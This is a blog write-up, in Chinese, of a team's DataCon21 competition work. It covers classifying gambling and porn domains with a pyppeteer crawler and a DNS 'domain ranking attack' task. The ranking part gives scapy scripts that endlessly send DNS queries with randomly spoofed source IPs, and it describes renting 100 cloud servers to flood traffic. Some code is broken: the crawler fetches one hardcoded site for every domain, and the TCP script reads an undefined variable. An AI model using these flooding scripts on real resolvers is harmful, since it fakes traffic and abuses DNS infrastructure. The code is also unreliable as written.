Datacon21 参赛总结

这次参加了软件供应链以及域名两个方向,都是第10名
Datacon21 参赛总结_第1张图片
Datacon21 参赛总结_第2张图片
本篇主要记录一下域名方向的做题记录
域名方向主要分两个题目,第一个题目是给你一堆黑产域名,需要判断域名所属的黑产家族,以及涉黄涉赌的情况。第一题主要考验的是爬虫的构造,以及信息的获取方式。

我暂时发现了可以通过以下几种方式来识别黑产网页:

Js特征:在静态请求网页的时候,能在网页源码里看到形如下图的百度的站点统计代码,通过正则表达式筛选出js?后面的长段字符串,相同的网页的这种字符串也是相同的,通过这种方式识别恶意网页家族速度较快,效果很好。
在这里插入图片描述
Datacon21 参赛总结_第3张图片

图片特征:
通过pyppter爬取网页内容,并保存相应的图片,然后通过函数计算并比较两张图片的RMS值,rms值<1000值是表明两张图片极其相似,rms值>10000表示两张图片毫无关联。
通过这种方式进行分类精度高,但是后续需要人为对各个图片类别进行合并,因为比如亚博这样的大平台会有多个不同的黑产网页。
Datacon21 参赛总结_第4张图片
网页结构内容特征:
以静态的方式请求网页,会发现同样黑产的网页有部分会存在特殊的内容,可以直接通过这些内容来对网页进行判读,如下图bet365的网页里会含有‘www.y666.net’以及’点我木有用’等词语,通过爬虫收集网页源码并保存,并通过浏览网页找出网页的内容结构特征,这种方法识别分类的精度较高,缺点是需要耗费大量精力去筛选,寻找这些特征。从经验来看,这些特征主要出现在源码开头或者结尾的位置,且多出现在和域名不一致的src链接信息里
在这里插入图片描述
标题特征
某些网站可以直接通过标题识别,但是实际发现很多黑产网页会滥用其他黑产网站的标题,因此如果想通过标题来识别分类恶意软件家族,依然需要花费一定的精力来筛选这些标题特征,不过如果能准确提取标题特征,那么使用这种特征识别的正确率会很高。
一些标题特征举例:如发彩网在标题里会直接有‘-发彩网‘的字段,尊龙黑产网页在标题里会有‘就是博’的字段,bet365的网页里会有◆~,√等字段,球盟会的网页里有很多使用【】的字段,如【老虎机】【官网】【官网入口】【老品牌】【平台入口】【体育首选】【手机登录】【手机入口】【手机下载】【点击登录】【送彩金】【体育平台】【正网】【真人平台】【注册送彩金】

试了python request 和selenium爬虫,发现最好用的爬虫还是pyppeteer

import asyncio
from pyppeteer import launch
import re
import csv
import codecs
import pickle
import os

csv.field_size_limit(500 * 1024 * 1024)


def read_csv(filename="A_test_data.csv"):
    # 读取csv文件
    full_data = []
    with codecs.open(filename, 'r', encoding='gb2312', errors='ignore') as f:
        reader = csv.reader(f)
        for row in reader:
            full_data.append(row)
    return full_data[1:]  # 删去抬头


def load_picklefile(filename):
    # 读取pickle文件
    pickfile = open(filename, 'rb')
    listfile = pickle.load(pickfile)
    return listfile


# -*-coding:utf-8 -*-
def write_to_pickle(dictdata, filename):
    # 把dict_data以pickle的形式保存
    pick_file = open(filename + '.pkl', 'wb')
    pickle.dump(dictdata, pick_file)
    pick_file.close()


def write_csv(answer_data=[(0, 0)], data_head=[
    ("域名", "域名排名", "title", "类型", "违规项目")
], filename='failname'):
    # 生成答案的csv文件
    data = data_head + answer_data
    f = codecs.open(filename, 'w', 'utf_8_sig', errors='ignore')
    writer = csv.writer(f)
    for i in data:
        writer.writerow(i)
    f.close()


def pil_image_similarity(filepath1, filepath2):
    # 输入两个图片
    from PIL import Image
    import math
    import operator
    from functools import reduce
    image1 = Image.open(filepath1)
    image2 = Image.open(filepath2)
    h1 = image1.histogram()
    h2 = image2.histogram()

    rms = math.sqrt(reduce(operator.add, list(map(lambda a, b: (a - b) ** 2, h1, h2))) / len(h1))
    print(rms)
    return rms


async def main(filecsv):
    data = read_csv(filecsv)
    domain_list = []
    for each_row in data:
        domain_list.append(each_row[0])
    save_folder_path = filecsv.replace('.csv', "")
    pic_save_path = save_folder_path + '/pic/'
    pickle_save_path = save_folder_path + '/pickfile/'
    count = 0
    try:
        if not os.path.exists(save_folder_path):
            os.makedirs(save_folder_path)
    except Exception:
        pass
    if not os.path.exists(pic_save_path):
        os.makedirs(pic_save_path)
    if not os.path.exists(pickle_save_path):
        os.makedirs(pickle_save_path)
    try:
        page_dict = load_picklefile(pickle_save_path + 'page_dict.pkl')
    except Exception:
        page_dict = {}
    try:
        js_dict = load_picklefile(pickle_save_path + 'js_dict.pkl')
        print(js_dict)
    except Exception:
        js_dict = {}
    try:
        title_dict = load_picklefile(pickle_save_path + 'title_dict.pkl')
        print(title_dict)
    except Exception:
        title_dict = {}
    browser = await launch(args=['--no-sandbox'])
    page = await browser.newPage()
    compile_rule = r'''.js\?(.*)['|"];'''
    await page.setJavaScriptEnabled(enabled=True)
    for url in domain_list:
        count = count + 1
        if count%20==0:
           write_to_pickle(js_dict,pickle_save_path+'js_dict')
           write_to_pickle(page_dict,pickle_save_path+'page_dict')
           write_to_pickle(title_dict,pickle_save_path+'title_dict')
        if not url.startswith('http:'):
            url = 'http://'+url
        if url in page_dict.keys():
            continue
        print(url)
        await page.goto('http://www.sjzlongxiang.com/')
        content = await page.evaluate('document.body.textContent', force_expr=True)
        title = await page.title()
        print(title)
        js_feature = re.findall(compile_rule, content)
        try:
            title_dict.update({url: title})
        except Exception:
            pass
        try:
            js_dict.update({url: js_feature})
        except Exception:
            pass
        try:
            page_dict.update({url: content})
        except Exception:
            pass
        try:
            current_pic_save_path = pic_save_path+url+'.png'
            current_pic_save_path=current_pic_save_path.replace('http://','')
            await page.screenshot({'path': current_pic_save_path})
        except Exception as e:
            print(e)
            pass
    await browser.close()

asyncio.get_event_loop().run_until_complete(main('crawresult_12.csv'))

实际在比赛中,主要使用的是标题特征和网页结构内容特征进行识别,js特征和图片特征仅停留在收集阶段,因时间与精力有限未能应用全部设想的四种特征。如果时间精力足够的话,后续想的是分类出一定恶意软件家族后,通过流量的数据进行深度学习来识别那些爬取失败的网页。

第二部分是域名排名攻击,需要选手自己注册一个域名,然后赛方会给你一个DNS服务器地址,选手要做的就是让自己域名的排名在这个DNS服务器地址上尽可能的高。

SACPY模拟UDP发包:

from scapy.all import DNS, DNSQR, IP, sr1, UDP,send
import random
while True:
  random_ip= '120.'+str(random.randint(20,100))+'.'+str(random.randint(2,200))+'.'+str(random.randint(2,200))
  dns_req = IP(src=random_ip,dst='xxx.xxx.xxx.xxx')/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname='badamerica.com',qtype=1))
  send(dns_req)

SCAPY模拟TCP协议:

from scapy.all import *

while True:
    seq = RandInt()
    tcp_req = IP(dst='xxx.xxx.xxx.xxx') / TCP(dport=53, sport=RandShort(), seq=1, flags='S') / DNS(rd=1, qd=DNSQR(
        qname='badamerica.com', qtype=1))
    ns = sr1(tcp_req)
    sport = ans[TCP].dport
    s_seq = ans[TCP].ack
    d_seq = ans[TCP].seq + 1
    print(sport, s_seq, d_seq)
    tcp_req = IP(dst='xxx.xxx.xxx.xxx') / TCP(dport=53, sport=sport, ack=d_seq, seq=s_seq, flags='A') / DNS(rd=1,                                                                                                  qd=DNSQR(                                                                                        qname='badamerica.com',                                                                                                         qtype=1))
    sr1(tcp_req)
    udp_req = IP(dst='xxx.xxx.xxx.xxx') / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname='badamerica.com', qtype=1))
    while True:
        try:
            ans = sr1(udp_req)
            print(ans[DNS])
        except Exception:
            break

因为浏览第一题的黑产网页,能发现黑产网页采用的都是挂了大量链接,构造蜘蛛池的方法,还有就是通过修改网页标题和关键字来诱导别人点击,能想到出题人的意思是要选手模仿黑产网页来提高自己域名的排名。
但是我们队在阅读题目后发现,题目没有说明给的地址是dns解析器还是dns转发器,但是排名确定是只算某一特定域名服务器上的解析记录,且发现该域名服务器请求的权威服务器是godaddy的域名服务器,首先想到的是使用scapy伪造udp流量。使用scapy可以伪造udp包的源地址和目的地址,但是因为网上购买的服务器在发包的时候需要经过内网的nat转化,所以实际上如果修改了源地址,在阿里云,腾讯云上进行发包是发不出去的。(本队就此问题进行了工单询问,得到的结果如果想发修改源地址的udp包是需要手工进行一定量的配置修改,无法使用镜像进行大规模复制),不过如果使用自己的台式机或者手提电脑则可以任意修改源地址。最终域名攻击1是使用了100台1cpu,1gb的阿里云服务器打流量,购买了一星期花费在2000元左右,最终得分约77.
此外,也考虑过模仿黑产网页构造蜘蛛池的方法,但是考虑到正常用户请求dns解析一般是访问本地的域名解析器,且在解析成功后会在本机留下dns缓存记录,且未想出方法去指定那些正常用户去访问给定的dns解析器。
第二题禁掉了UDP包,只能用TCP协议,暂时想到的也是用scapy模拟tcp协议,写的脚本是建立tcp通信后开始发udp查询包,不过貌似没有记入排名,后续也没有深度研究。

你可能感兴趣的:(信息安全,爬虫,深度学习/自然语言处理,python,爬虫,开发语言)